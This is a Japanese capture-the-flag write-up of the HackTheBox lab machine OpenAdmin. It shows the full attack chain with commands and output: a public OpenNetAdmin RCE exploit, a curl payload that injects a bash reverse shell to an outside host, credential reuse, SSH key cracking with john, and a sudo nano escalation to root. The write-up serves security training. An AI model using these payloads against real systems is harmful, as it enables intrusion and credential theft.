OpenAdmin
OpenAdmin
これは、私が HackTheBox というサービスを使用し、OpenAdmin というボックスを攻略した際の、記事をそのまま持ってきたものです。
侵入
nmap
まずは、ポートスキャンを行う
──(kali㉿kali)-[~/Desktop/OpenAdmin]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.171 -oN nmap.log
Scanning 10.10.10.171 [65535 ports]
Discovered open port 22/tcp on 10.10.10.171
Discovered open port 80/tcp on 10.10.10.171
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=8/11%OT=22%CT=1%CU=43402%PV=Y%DS=2%DC=T%G=Y%TM=62F5B83
OS:S)
22、80番ポートを確認
gobuster
ディレクトリ探索を行う。ワードリストは、common.txt を使用
┌──(kali㉿kali)-[~/Desktop/OpenAdmin]
└─$ gobuster dir -u http://10.10.10.171/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/11 22:23:12 Starting gobuster in directory enumeration mode
===============================================================
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/index.html (Status: 200) [Size: 10918]
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/server-status (Status: 403) [Size: 277]
===============================================================
2022/08/11 22:24:55 Finished
===============================================================
気になるディレクトリとして、music と artwork を発見
music
まずは、music にアクセスしてみる
右上にログインボタンを発見したので、アクセスする
ona
ログインボタンを押下すると、ona というページに飛ぶ
バージョンが、18.1.1 であることがわかる
CVE
GitHub 上に、exploit code を発見
GitHub -> https://github.com/amriunix/ona-rce
www-data としてのシェル
exploit
GitHub の手順通りに、code を実行
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ python3 ona-rce.py check http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] The remote host is vulnerable!
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ python3 ona-rce.py exploit http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data としてのシェルを取得
列挙
home
どんなユーザが存在するのかを調べるために、ホームディレクトリを確認
sh$ ls -l /home
total 8
drwxr-x--- 5 jimmy jimmy 4096 Nov 22 2019 jimmy
drwxr-x--- 5 joanna joanna 4096 Jul 27 2021 joanna
jimmy と joanna の存在を確認
config.inc.php
名前からして気になったので、確認
sh$ cat config/config.inc.php
~
// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";
if (file_exists($dbconffile)) {
if (substr(exec("php -l $dbconffile"), 0, 28) == "No syntax errors detected in") {
@include($dbconffile);
} else {
require_once($base.'/../install/install.php');
exit;
}
~
データベースの設定ファイルと思われるファイル (database_settings.inc.php) を発見
database_settings.inc.php
cat で中身を確認する
sh$ cat local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?
DB への接続パスワードとしての、n1nj4W4rri0R! という文字列を取得できた
mysql の実行や、su を試してみる
sh$ mysql -u root -p
Enter password: ERROR 1698 (28000): Access denied for user 'root'@'localhost'
sh$ su jimmy
su: must be run from a terminal
mysql は使用できないが、su はターミナルの関係で実行できない
su を実行するためには、アップグレードできるシェルを取得する必要がある
Exploit DB
Exploit DB のコードを見てみる
curl で exploit を実行している。ip パラメータの後に、脆弱性がありそう
Exploit DB -> https://www.exploit-db.com/exploits/47691
curl
Exploit DB に倣い、curl コマンドを実行する
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash -i >%26 /dev/tcp/10.10.14.13/5555 0>%261'&xajaxargs[]=ping" http://10.10.10.171/ona/
kali 側
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.171] 45336
bash: cannot set terminal process group (1242): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ whoami
whoami
www-data
www-data@openadmin:/opt/ona/www$
アップグレードできるシェルの取得に成功
script
www-data@openadmin:/opt/ona/www$ /usr/bin/script -qc /bin/bash /dev/null
su を実行できるように、シェルをアップグレードさせる
jimmy としてのシェル
su
www-data@openadmin:/opt/ona/www$ su jimmy
Password: n1nj4W4rri0R!
jimmy@openadmin:/opt/ona/www$
jimmy のシェル取得に成功
列挙
jimmy
jimmy@openadmin:~$ ls -la
ls -la
total 32
drwxr-x--- 5 jimmy jimmy 4096 Nov 22 2019 .
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
lrwxrwxrwx 1 jimmy jimmy 9 Nov 21 2019 .bash_history -> /dev/null
-rw-r--r-- 1 jimmy jimmy 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3771 Apr 4 2018 .bashrc
drwx------ 2 jimmy jimmy 4096 Nov 21 2019 .cache
drwx------ 3 jimmy jimmy 4096 Nov 21 2019 .gnupg
drwxrwxr-x 3 jimmy jimmy 4096 Nov 22 2019 .local
-rw-r--r-- 1 jimmy jimmy 807 Apr 4 2018 .profile
user.txt がないため、joanna ユーザ権限が必要
find
id コマンドを実行すると、jimmy が internal グループだとわかるため、internal で検索を行う
jimmy@openadmin:~$ find / -group internal 2>/dev/null
find / -group internal 2>/dev/null
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
main.php、index.php などのファイルを発見
main.php
jimmy@openadmin:/var/www/internal$ cat main.php
cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
joanna の SSH 秘密鍵を出力するようだ
index.html
jimmy@openadmin:/var/www/internal$ cat index.php
cat index.php
<?php
ob_start();
session_start();
?>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
jimmy を認証するコードを発見。アクセスすることで SSH 秘密鍵を取得できるかもしれない
また、パスワードのハッシュ値を取得できた
hash
先に、パスワードのハッシュを復号しておく
Revealed という文字が出力された
internal.conf
今回のボックスは、Ubuntu の apache2 なので、/etc/apache2 から設定ファイルを探す
jimmy@openadmin:/var/www/html$ cat /etc/apache2/sites-available/internal.conf
cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
/var/www/internal には、127.0.0.1:52846 でアクセスできることがわかる
curl コマンドでもアクセス可能だが、今回はポートフォワーディングを使用する
SSH
SSH ポートフォワーディングを行うため、サーバ側に SSH 鍵を作成し、接続する
┌──(kali㉿kali)-[~]
└─$ ssh -i .ssh/id_rsa -L 8081:127.0.0.1:52846 jimmy@10.10.10.171
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
ED25519 key fingerprint is SHA256:wrS/uECrHJqacx68XwnuvI9W+bbKl+rKdSh799gacqo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Aug 12 09:27:09 UTC 2022
System load: 0.0 Processes: 180
Usage of /: 30.9% of 7.81GB Users logged in: 0
Memory usage: 14% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$
SSH 接続成功
Login
127.0.0.1:8081 でアクセスする
アクセス成功
main.php
ユーザ : jimmy パスワード : Revealed
鍵が出力された
john
鍵は暗号化してあるため、john を使用する
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ /usr/share/john/ssh2john.py ssh.key > ssh_john2
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_john2
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (ssh.key)
1g 0:00:00:09 DONE (2022-08-12 05:47) 0.1029g/s 986058p/s 986058c/s 986058C/s bloodofyouth..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably
bloodninjas という文字が出力された
joanna としてのシェル
SSH
鍵とパスワードを使用し、SSH 接続を行う
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Aug 12 09:53:32 UTC 2022
System load: 0.0 Processes: 181
Usage of /: 31.0% of 7.81GB Users logged in: 1
Memory usage: 14% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ whoami
joanna
joanna のシェル取得に成功
user フラグ
joanna@openadmin:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
権限昇格
sudo
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
/bin/nano /opt/priv が NOPASSWD であることが確認できる
GTFOBin
GTFOBin で、nano が権限昇格に使用できないか検索してみる
^R^X の流れで権限昇格ができるらしい
GTFOBin -> https://gtfobins.github.io/gtfobins/nano/
nano
sudo -l で表示された通りに、コマンドを実行する
joanna@openadmin:~$ sudo /bin/nano /opt/priv
root としてのシェル
reset
GTFOBin に従い、コマンドを実行する
Command to execute: reset; sh 1>&0 2>&0# whoami
root
権限昇格成功
root フラグ
# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグの取得に成功
最後に
ここまでで、攻略は成功となります。一連の流れは理解していただけたでしょうか?
初めは慣れない上に、知識量も少ないため、大変ですが、数をこなすと楽しくなってきます。
まだまだ期間はあるので、頑張りましょう
Discussion